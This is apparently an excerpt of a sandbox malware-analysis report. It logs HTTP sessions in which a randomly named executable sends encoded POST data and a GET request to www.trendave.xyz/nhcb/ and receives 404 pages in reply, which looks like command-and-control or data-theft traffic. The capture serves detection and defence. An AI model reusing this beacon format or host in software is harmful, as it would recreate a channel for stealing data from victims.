                                                                                    18192.168.2.1149992203.161.42.73802720C:\Program Files (x86)\qAvXRemmclkNNelikCIjptDPcBYdMsWLgVOoWalP\EDoVdgyZMIcTRp.exe
                                                                                    TimestampBytes transferredDirectionData
                                                                                    Dec 5, 2024 18:23:35.940587997 CET751OUTPOST /nhcb/ HTTP/1.1
                                                                                    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                    Accept-Encoding: gzip, deflate, br
                                                                                    Accept-Language: en-US,en;q=0.9
                                                                                    Cache-Control: no-cache
                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                    Connection: close
                                                                                    Content-Length: 221
                                                                                    Host: www.trendave.xyz
                                                                                    Origin: http://www.trendave.xyz
                                                                                    Referer: http://www.trendave.xyz/nhcb/
                                                                                    User-Agent: Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-S5301 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
                                                                                    Data Raw: 64 54 62 34 3d 45 76 58 6b 43 69 62 37 69 33 61 66 78 50 6e 52 74 45 71 5a 62 4a 69 63 48 6f 33 30 75 4c 52 67 76 52 4c 4c 74 59 4f 5a 56 6b 55 75 6d 49 6c 6e 6b 4f 43 51 66 51 55 41 37 46 47 32 4a 38 4b 67 44 35 67 4f 58 49 44 31 4e 4d 67 37 64 4f 76 4b 4f 76 30 32 48 43 6e 35 68 31 4f 76 71 74 56 67 6d 31 76 4a 7a 46 47 34 69 6f 61 4f 78 7a 50 6e 52 6f 6a 53 65 34 4b 54 65 6d 41 67 56 72 62 75 49 43 4f 5a 45 42 64 49 2f 68 49 36 48 43 2f 6e 77 76 41 39 6f 6b 2f 46 49 42 6f 35 78 6f 48 39 55 2b 46 66 63 79 6c 6b 4d 67 43 30 4e 43 75 56 42 51 76 64 47 75 6e 62 6e 76 50 58 4d 58 42 59 30 2f 50 4c 30 70 50 39 71 78 4a 47 6f 6e 55 6c 47 67 77 72 41 52 45 3d
                                                                                    Data Ascii: dTb4=EvXkCib7i3afxPnRtEqZbJicHo30uLRgvRLLtYOZVkUumIlnkOCQfQUA7FG2J8KgD5gOXID1NMg7dOvKOv02HCn5h1OvqtVgm1vJzFG4ioaOxzPnRojSe4KTemAgVrbuICOZEBdI/hI6HC/nwvA9ok/FIBo5xoH9U+FfcylkMgC0NCuVBQvdGunbnvPXMXBY0/PL0pP9qxJGonUlGgwrARE=
                                                                                    Dec 5, 2024 18:23:37.161142111 CET1236INHTTP/1.1 404 Not Found
                                                                                    Date: Thu, 05 Dec 2024 17:23:36 GMT
                                                                                    Server: Apache
                                                                                    Content-Length: 16052
                                                                                    Connection: close
                                                                                    Content-Type: text/html
                                                                                    Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 32 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 6d 61 69 6e 3e 0a 20 3c 73 76 67 0a 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 35 34 31 2e 31 37 32 30 36 20 33 32 38 [TRUNCATED]
                                                                                    Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel="stylesheet" href="/42.css"></head><body>... partial:index.partial.html --><main> <svg viewBox="0 0 541.17206 328.45184" height="328.45184" width="541.17206" id="svg2" version="1.1"> <metadata id="metadata8"> </metadata> <defs id="defs6"> <pattern patternUnits="userSpaceOnUse" width="1.5" height="1" patternTransform="translate(0,0) scale(10,10)" id="Strips2_1"> <rect style="fill:black;stroke:none" x="0" y="-0.5" width="1" height="2" id="rect5419" /> </pattern> <linearGradient osb:paint="solid" id="linearGradient6096"> <stop id="stop6094" offset="0" [TRUNCATED]
                                                                                    Dec 5, 2024 18:23:37.161313057 CET1236INData Raw: 3e 0a 20 20 20 20 3c 2f 64 65 66 73 3e 0a 20 20 20 20 3c 67 0a 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 31 37 30 2e 31 34 35 31 35 2c 30 2e 30 33 38 31 36 34 29 22 0a 20 20 20 20 20 20 20 69 64 3d 22 6c
                                                                                    Data Ascii: > </defs> <g transform="translate(170.14515,0.038164)" id="layer1"> <g id="g6219" > <path transform="matrix(1.0150687,0,0,11.193923,-1.3895945,-2685.7441)" style="disp
                                                                                    Dec 5, 2024 18:23:37.161325932 CET1236INData Raw: 38 2e 38 35 38 37 31 35 20 2d 30 2e 36 30 32 31 37 35 2c 2d 33 31 2e 34 36 39 32 32 38 20 2d 30 2e 30 31 32 35 33 2c 2d 32 32 2e 37 35 39 35 36 35 20 30 2e 37 31 37 32 36 32 2c 2d 34 31 2e 32 33 31 34 35 32 31 33 20 31 2e 36 32 38 39 39 35 2c 2d
                                                                                    Data Ascii: 8.858715 -0.602175,-31.469228 -0.01253,-22.759565 0.717262,-41.23145213 1.628995,-41.23195399 z" style="display:inline;fill:#000000;stroke:none;stroke-width:0.23743393px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;"
                                                                                    Dec 5, 2024 18:23:37.162010908 CET672INData Raw: 30 2e 37 36 32 37 32 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 72 65 63 74 34 35 35 33 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 6f 70 61 63 69 74 79 3a 31 3b 66
                                                                                    Data Ascii: 0.76272" id="rect4553" style="display:inline;opacity:1;fill:#000000;fill-opacity:1;fill-rule:nonzero;stroke:#000000;stroke-width:1.00157475;stroke-miterlimit:4;stroke-dasharray:none;stroke-opacity:1;" /> <pa
                                                                                    Dec 5, 2024 18:23:37.162024021 CET1236INData Raw: 35 2e 39 31 36 37 35 20 31 35 2e 31 38 30 32 36 37 2c 35 33 2e 34 31 37 33 38 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 66 69 6c 6c 3a 6e 6f 6e 65 3b 73 74 72 6f 6b 65 3a 23 30
                                                                                    Data Ascii: 5.91675 15.180267,53.41738" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path id="path4517" d="m 76.9375,124.6
                                                                                    Dec 5, 2024 18:23:37.162868977 CET1236INData Raw: 31 36 2c 32 34 2e 33 33 36 33 32 20 2d 38 2e 34 32 30 36 33 2c 33 38 2e 39 39 38 30 39 20 2d 33 2e 36 30 34 34 38 2c 31 34 2e 36 36 31 37 37 20 2d 38 2e 30 36 32 31 32 2c 33 31 2e 31 37 31 35 34 20 2d 31 32 2e 35 36 32 34 34 2c 34 37 2e 38 33 39
                                                                                    Data Ascii: 16,24.33632 -8.42063,38.99809 -3.60448,14.66177 -8.06212,31.17154 -12.56244,47.83939" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path
                                                                                    Dec 5, 2024 18:23:37.162889004 CET1236INData Raw: 69 6e 65 6a 6f 69 6e 3a 6d 69 74 65 72 3b 73 74 72 6f 6b 65 2d 6f 70 61 63 69 74 79 3a 31 3b 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 70 61 74 68 34 35 33 37 22 0a 20 20 20
                                                                                    Data Ascii: inejoin:miter;stroke-opacity:1;" /> <path id="path4537" d="m 87.0625,123.03748 c 2.916637,10.42937 5.833458,20.8594 7.291964,26.66356 1.458505,5.80416 1.458505,6.98257 2.402021,11.11052 0.943517,4.12795 2.82
                                                                                    Dec 5, 2024 18:23:37.162900925 CET672INData Raw: 20 2d 35 2e 30 37 34 39 37 35 2c 32 36 2e 30 33 34 38 33 20 2d 31 2e 31 31 39 35 36 38 2c 35 2e 38 39 32 36 34 20 2d 31 2e 35 39 30 39 32 2c 37 2e 37 37 38 30 35 20 2d 31 2e 38 38 35 37 30 38 2c 31 30 2e 30 37 37 30 36 20 2d 30 2e 32 39 34 37 38
                                                                                    Data Ascii: -5.074975,26.03483 -1.119568,5.89264 -1.59092,7.77805 -1.885708,10.07706 -0.294789,2.29901 -0.412567,5.0079 5.1e-5,17.56339 0.412617,12.55548 1.355064,34.93859 2.474996,54.74239 1.119932,19.80379 2.415574,37.00049 3.712005,54.20767"
                                                                                    Dec 5, 2024 18:23:37.163768053 CET1236INData Raw: 39 35 2c 35 33 2e 38 34 37 34 36 20 32 2e 32 33 37 39 31 33 2c 31 39 2e 33 37 38 32 39 20 34 2e 38 33 33 31 30 39 2c 33 36 2e 37 31 38 39 32 20 37 2e 34 32 35 39 35 39 2c 35 34 2e 30 34 33 38 37 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74
                                                                                    Data Ascii: 95,53.84746 2.237913,19.37829 4.833109,36.71892 7.425959,54.04387" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path id="pa
                                                                                    Dec 5, 2024 18:23:37.163784027 CET1236INData Raw: 34 35 38 30 36 2c 33 36 2e 38 33 32 31 36 20 2d 31 32 2e 36 38 37 35 2c 35 35 2e 32 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 66 69 6c 6c 3a 6e 6f 6e 65 3b 73 74 72 6f 6b 65
                                                                                    Data Ascii: 45806,36.83216 -12.6875,55.25" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <ellipse ry="4.6715717" rx="2.5"
                                                                                    Dec 5, 2024 18:23:37.282001972 CET1236INData Raw: 6f 6e 65 3b 73 74 72 6f 6b 65 2d 6f 70 61 63 69 74 79 3a 31 3b 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 31 37 30 2e 31
                                                                                    Data Ascii: one;stroke-opacity:1;" /> <path transform="translate(-170.14515,-0.038164)" id="path4567" d="m 321.74355,168.0687 c -1e-5,3.3913 -3.42414,11.26702 -8.73834,11.26702 -5.3142,0 -18.59463,27.24606


                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                    19192.168.2.1149993203.161.42.73802720C:\Program Files (x86)\qAvXRemmclkNNelikCIjptDPcBYdMsWLgVOoWalP\EDoVdgyZMIcTRp.exe
                                                                                    TimestampBytes transferredDirectionData
                                                                                    Dec 5, 2024 18:23:38.615895033 CET1764OUTPOST /nhcb/ HTTP/1.1
                                                                                    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                    Accept-Encoding: gzip, deflate, br
                                                                                    Accept-Language: en-US,en;q=0.9
                                                                                    Cache-Control: no-cache
                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                    Connection: close
                                                                                    Content-Length: 1233
                                                                                    Host: www.trendave.xyz
                                                                                    Origin: http://www.trendave.xyz
                                                                                    Referer: http://www.trendave.xyz/nhcb/
                                                                                    User-Agent: Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-S5301 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
                                                                                    Data Raw: 64 54 62 34 3d 45 76 58 6b 43 69 62 37 69 33 61 66 78 50 6e 52 74 45 71 5a 62 4a 69 63 48 6f 33 30 75 4c 52 67 76 52 4c 4c 74 59 4f 5a 56 6b 4d 75 68 36 64 6e 6c 74 61 51 4f 67 55 41 34 46 47 33 4a 38 4b 74 44 34 45 53 58 49 47 49 4e 4b 6b 37 63 74 6e 4b 5a 71 49 32 4f 43 6e 35 6b 46 4f 75 75 74 56 78 6d 32 58 4e 7a 47 75 34 69 6f 61 4f 78 32 44 6e 57 38 50 53 59 34 4b 51 50 6d 41 38 52 72 61 7a 49 43 32 4a 45 41 4e 32 6a 41 6f 36 47 69 76 6e 32 61 30 39 68 6b 2f 48 46 68 6f 68 78 6f 4c 59 55 2b 78 45 63 79 68 4f 4d 67 71 30 62 6d 7a 33 51 54 7a 46 61 76 62 63 78 4f 76 71 49 33 39 42 34 6f 58 72 77 35 6e 77 77 78 6f 53 67 6e 64 4c 58 79 5a 73 61 30 65 79 4d 52 4c 2f 34 73 45 4a 66 77 30 79 37 35 30 4c 65 6b 2b 79 6d 76 67 30 55 6d 2f 30 4a 67 52 50 71 64 6a 31 78 44 51 2b 4c 2f 4f 51 64 4f 71 63 30 52 58 36 31 61 67 42 46 41 6f 76 75 65 41 34 71 69 66 45 77 6f 6f 47 36 69 7a 41 76 58 39 63 6b 68 75 77 70 72 53 5a 6c 6c 70 32 77 72 39 46 38 55 61 68 41 45 6d 69 51 78 4e 6d 34 2f 53 6c 6a 39 43 32 65 [TRUNCATED]
                                                                                    Data Ascii: dTb4=EvXkCib7i3afxPnRtEqZbJicHo30uLRgvRLLtYOZVkMuh6dnltaQOgUA4FG3J8KtD4ESXIGINKk7ctnKZqI2OCn5kFOuutVxm2XNzGu4ioaOx2DnW8PSY4KQPmA8RrazIC2JEAN2jAo6Givn2a09hk/HFhohxoLYU+xEcyhOMgq0bmz3QTzFavbcxOvqI39B4oXrw5nwwxoSgndLXyZsa0eyMRL/4sEJfw0y750Lek+ymvg0Um/0JgRPqdj1xDQ+L/OQdOqc0RX61agBFAovueA4qifEwooG6izAvX9ckhuwprSZllp2wr9F8UahAEmiQxNm4/Slj9C2eP4uQ9Ip+lyAcmOuRUdRJ1NlYnvXEZ5rf8fcwQTsEou8IHZxWn0IBcc8MkTo6TvdbZAYql9OqjuNdu5pgqAtbGuR7M2CjpODRcDWabLbUByFvLOBmlXfzWx9sG5lt+NfCmHmTGC4ET7+fob3fWUhq4x/U5QU/D3mgEuVi2e5uvmS4NzNblE45bvcabuk+QO8AAy8eeHtAUE2iloY20JWC+Fl53YxOAxQeyx4TC1nKcXPwshwKvnVCYx6n1vfya6cOQOWWAUOYOfdc58kWpPkDvut9JO3+WmtQhNEnizz89grT/AnRWic0zjyjolWfnX7S5qB899xDAsnC0b+ha8wlo9CR2wPh89q2w02uNo84GpW7rt8D04dLIGIBmdwbNnRMW0S98HhrNd1vpl1XsUhXhtch3ma6qpu6dQUE+pBsCcRnrqXXY4VPT6keZOV4Y7rtPHSCGBpLJ064Ny+CLkhUqhaywToFUF1POUIvnr8d7DHe/5cuiK74nLYtHM3XDP3KqHUwdyBc7G/xnf2e0k+ReKu6YWuDQa+tb9R/CM0n5DCBXBGvEg3MZ+dqjlY4gpdaj2vEunU6myeskmeI/hgnDYyhhTGXpHQSYocbGopzQ7aID+P3bj/8nz+eD4cTwXJoa8Gs/QVU/QvS+72segEejQBcxeE5XnlfIi [TRUNCATED]
                                                                                    Dec 5, 2024 18:23:39.921849966 CET1236INHTTP/1.1 404 Not Found
                                                                                    Date: Thu, 05 Dec 2024 17:23:39 GMT
                                                                                    Server: Apache
                                                                                    Content-Length: 16052
                                                                                    Connection: close
                                                                                    Content-Type: text/html
                                                                                    Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 32 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 6d 61 69 6e 3e 0a 20 3c 73 76 67 0a 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 35 34 31 2e 31 37 32 30 36 20 33 32 38 [TRUNCATED]
                                                                                    Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel="stylesheet" href="/42.css"></head><body>... partial:index.partial.html --><main> <svg viewBox="0 0 541.17206 328.45184" height="328.45184" width="541.17206" id="svg2" version="1.1"> <metadata id="metadata8"> </metadata> <defs id="defs6"> <pattern patternUnits="userSpaceOnUse" width="1.5" height="1" patternTransform="translate(0,0) scale(10,10)" id="Strips2_1"> <rect style="fill:black;stroke:none" x="0" y="-0.5" width="1" height="2" id="rect5419" /> </pattern> <linearGradient osb:paint="solid" id="linearGradient6096"> <stop id="stop6094" offset="0" [TRUNCATED]
                                                                                    Dec 5, 2024 18:23:39.921869040 CET1236INData Raw: 3e 0a 20 20 20 20 3c 2f 64 65 66 73 3e 0a 20 20 20 20 3c 67 0a 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 31 37 30 2e 31 34 35 31 35 2c 30 2e 30 33 38 31 36 34 29 22 0a 20 20 20 20 20 20 20 69 64 3d 22 6c
                                                                                    Data Ascii: > </defs> <g transform="translate(170.14515,0.038164)" id="layer1"> <g id="g6219" > <path transform="matrix(1.0150687,0,0,11.193923,-1.3895945,-2685.7441)" style="disp
                                                                                    Dec 5, 2024 18:23:39.921881914 CET1236INData Raw: 38 2e 38 35 38 37 31 35 20 2d 30 2e 36 30 32 31 37 35 2c 2d 33 31 2e 34 36 39 32 32 38 20 2d 30 2e 30 31 32 35 33 2c 2d 32 32 2e 37 35 39 35 36 35 20 30 2e 37 31 37 32 36 32 2c 2d 34 31 2e 32 33 31 34 35 32 31 33 20 31 2e 36 32 38 39 39 35 2c 2d
                                                                                    Data Ascii: 8.858715 -0.602175,-31.469228 -0.01253,-22.759565 0.717262,-41.23145213 1.628995,-41.23195399 z" style="display:inline;fill:#000000;stroke:none;stroke-width:0.23743393px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;"
                                                                                    Dec 5, 2024 18:23:39.922852039 CET1236INData Raw: 30 2e 37 36 32 37 32 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 72 65 63 74 34 35 35 33 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 6f 70 61 63 69 74 79 3a 31 3b 66
                                                                                    Data Ascii: 0.76272" id="rect4553" style="display:inline;opacity:1;fill:#000000;fill-opacity:1;fill-rule:nonzero;stroke:#000000;stroke-width:1.00157475;stroke-miterlimit:4;stroke-dasharray:none;stroke-opacity:1;" /> <pa
                                                                                    Dec 5, 2024 18:23:39.922977924 CET1236INData Raw: 32 2c 31 35 2e 35 30 30 36 34 20 30 2e 39 31 36 37 39 38 2c 36 2e 38 33 34 33 34 20 32 2e 32 34 39 38 35 34 2c 31 36 2e 33 33 32 33 37 20 33 2e 34 39 39 39 30 32 2c 32 34 2e 39 31 36 30 34 20 31 2e 32 35 30 30 34 37 2c 38 2e 35 38 33 36 38 20 32
                                                                                    Data Ascii: 2,15.50064 0.916798,6.83434 2.249854,16.33237 3.499902,24.91604 1.250047,8.58368 2.416611,16.24967 4.583438,28.58394 2.166827,12.33427 5.333153,29.33244 8.499966,46.33323" style="display:inline;fill:none;stroke:#000000;stroke-widt
                                                                                    Dec 5, 2024 18:23:39.923437119 CET1236INData Raw: 35 31 2c 31 2e 35 32 31 36 35 20 30 2e 32 32 32 39 39 2c 31 2e 30 36 35 37 39 20 30 2e 31 34 39 33 33 2c 30 2e 36 30 39 31 32 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 66 69 6c
                                                                                    Data Ascii: 51,1.52165 0.22299,1.06579 0.14933,0.60912" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path id="path4533" d=
                                                                                    Dec 5, 2024 18:23:39.923450947 CET776INData Raw: 6b 65 2d 6c 69 6e 65 63 61 70 3a 62 75 74 74 3b 73 74 72 6f 6b 65 2d 6c 69 6e 65 6a 6f 69 6e 3a 6d 69 74 65 72 3b 73 74 72 6f 6b 65 2d 6f 70 61 63 69 74 79 3a 31 3b 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20
                                                                                    Data Ascii: ke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path id="path4541" d="m 85.206367,122.98266 c 0.117841,11.74369 0.235693,23.48835 0.235693,36.55072 -10e-7,13.06238 -0.117833,27.43796 -0.05891,45
                                                                                    Dec 5, 2024 18:23:39.924549103 CET1236INData Raw: 30 30 37 39 20 35 2e 31 65 2d 35 2c 31 37 2e 35 36 33 33 39 20 30 2e 34 31 32 36 31 37 2c 31 32 2e 35 35 35 34 38 20 31 2e 33 35 35 30 36 34 2c 33 34 2e 39 33 38 35 39 20 32 2e 34 37 34 39 39 36 2c 35 34 2e 37 34 32 33 39 20 31 2e 31 31 39 39 33
                                                                                    Data Ascii: 0079 5.1e-5,17.56339 0.412617,12.55548 1.355064,34.93859 2.474996,54.74239 1.119932,19.80379 2.415574,37.00049 3.712005,54.20767" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:
                                                                                    Dec 5, 2024 18:23:39.924567938 CET1236INData Raw: 32 35 31 20 36 2e 31 32 38 38 35 2c 2d 31 2e 32 33 37 37 34 20 39 2e 31 39 31 38 2c 2d 32 2e 30 36 32 33 38 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 66 69 6c 6c 3a 6e 6f 6e 65
                                                                                    Data Ascii: 251 6.12885,-1.23774 9.1918,-2.06238" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path id="path4560" d="m 13.
                                                                                    Dec 5, 2024 18:23:39.924580097 CET1236INData Raw: 74 68 34 36 31 36 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 6f 70 61 63 69 74 79 3a 31 3b 66 69 6c 6c 3a 23 30 30 30 30 30 30 3b 66 69 6c 6c 2d 6f 70 61 63 69 74 79 3a 31 3b 66
                                                                                    Data Ascii: th4616" style="display:inline;opacity:1;fill:#000000;fill-opacity:1;fill-rule:nonzero;stroke:#000000;stroke-width:0.82170224;stroke-miterlimit:4;stroke-dasharray:none;stroke-opacity:1;" /> <ellipse transform
                                                                                    Dec 5, 2024 18:23:40.043957949 CET1236INData Raw: 2e 34 35 31 38 34 20 63 20 31 2e 36 36 37 32 32 2c 30 2e 36 32 35 39 34 20 33 2e 33 33 33 38 38 2c 31 2e 32 35 31 36 37 20 33 2e 33 33 34 33 38 2c 31 2e 35 36 34 34 34 20 35 65 2d 34 2c 30 2e 33 31 32 37 36 20 2d 31 2e 36 36 36 37 31 2c 30 2e 33
                                                                                    Data Ascii: .45184 c 1.66722,0.62594 3.33388,1.25167 3.33438,1.56444 5e-4,0.31276 -1.66671,0.31276 -3.33438,0.31276" style="fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <p


                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                    20192.168.2.1149994203.161.42.73802720C:\Program Files (x86)\qAvXRemmclkNNelikCIjptDPcBYdMsWLgVOoWalP\EDoVdgyZMIcTRp.exe
                                                                                    TimestampBytes transferredDirectionData
                                                                                    Dec 5, 2024 18:23:41.282140970 CET465OUTGET /nhcb/?dTb4=Jt/EBXmNn0Xont3Xv3TOM+yOUqyvoLVFu0H2rr3BW2spn453uaHrewE12DuyPcurf4Mzbuz0WqMTaNbmObgJDDiyl1OehOlyh0vowHWBwan18nHKSsm9apo=&mZwPH=xrgxJbs HTTP/1.1
                                                                                    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                    Accept-Language: en-US,en;q=0.9
                                                                                    Connection: close
                                                                                    Host: www.trendave.xyz
                                                                                    User-Agent: Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-S5301 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
                                                                                    Dec 5, 2024 18:23:42.528531075 CET1236INHTTP/1.1 404 Not Found
                                                                                    Date: Thu, 05 Dec 2024 17:23:42 GMT
                                                                                    Server: Apache
                                                                                    Content-Length: 16052
                                                                                    Connection: close
                                                                                    Content-Type: text/html; charset=utf-8
                                                                                    Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 32 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 6d 61 69 6e 3e 0a 20 3c 73 76 67 0a 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 35 34 31 2e 31 37 32 30 36 20 33 32 38 [TRUNCATED]
